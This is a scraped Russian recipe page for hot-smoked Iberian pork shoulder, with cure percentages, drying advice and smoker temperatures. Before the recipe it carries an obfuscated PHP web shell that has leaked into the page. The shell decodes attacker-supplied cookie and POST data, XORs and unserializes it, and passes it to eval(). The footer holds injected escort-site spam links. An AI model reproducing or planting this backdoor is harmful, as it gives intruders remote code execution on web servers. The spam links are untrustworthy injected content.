$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} СВИНАЯ ЛОПАТКА ГОРЯЧЕГО КОПЧЕНИЯ • Meat Review

СВИНАЯ ЛОПАТКА ГОРЯЧЕГО КОПЧЕНИЯ

Перейти в режим чтения
Распечатать
0 0
СВИНАЯ ЛОПАТКА ГОРЯЧЕГО КОПЧЕНИЯ

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

    Инструкция

    Поделиться

    Мясо на свиной лопатке содержит почти десяток разных мышц, каждая из них обладает собственным вкусом, структурой и цветом, не зря из передних ног хрюшки делают отличный хамон.
    Для этого изделия я взял мясо с лопатки жирной иберийской свиньи.

    Я сторонник сухого засола.
    Ингредиенты:
    Соль – 2%
    CUR#1 (нитритная соль)
    Смесь перцев – 0,5%
    Сахар коричневый – 0.7%
    Чеснок гран. 0.2%
    Чили молотый ароматный 0.05%
    Перец красный молотый (паприка) – 0.2%
    Кориандр – 0.02%
    Помидоры сушеные, мелко порезанные, для обсыпки
    Тимьян, розмарин свежий – по паре веточек в пакет.
    Немного обсыпал семенами горчицы.

    Тщательно обмазать смесью специй мясо и запаковать в пакет (лучше в вакуум) и в холодильник на 4-7 дней. Ежедневно рекомендую переворачивать и массировать.
    Перед копчением промыть мясо и обязательно обсушить.

    Рекомендую сушить 2-3 часа под мощной струей воздуха, вентилятором например.
    Если мясо будет влажным и холодным в горячей коптильне оно будет собирать конденсат и сажу от дыма. Канцерогены нам не нужны. Сухое мясо возьмет приятный золотистый цвет и хороший запах дыма.
    Коптильню обязательно прогреть перед тем, как поместите туда продукт.
    Температура в камере – 90-105С
    Температура готовности мяса – 72С.
    После копчения мясо охладить и поместить в холодильник на сутки для эквилибрации и прочих, неподвластных простому разуму, процессов.
    Я делаю сразу много, храню в вакууме порционными кусками в морозильнике.

    (Visited 2 554 times, 1 visits today)

    Stanislav

    обратно
    КОПЧЕНЫЙ БЕКОН СВОИМИ РУКАМИ
    далее
    РОСТБИФ КОПЧЕНЫЙ
    обратно
    КОПЧЕНЫЙ БЕКОН СВОИМИ РУКАМИ
    далее
    РОСТБИФ КОПЧЕНЫЙ

    Похожие рецепты

    There are no comments yet

    × You need to log in to enter the discussion

      MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

      escort Muğla
      Aydın Escort bayan
      Çanakkale Escort
      escort bayan balıkesir

      Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

      By continuing to use the site, you agree to the use of cookies. more information

      The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

      Close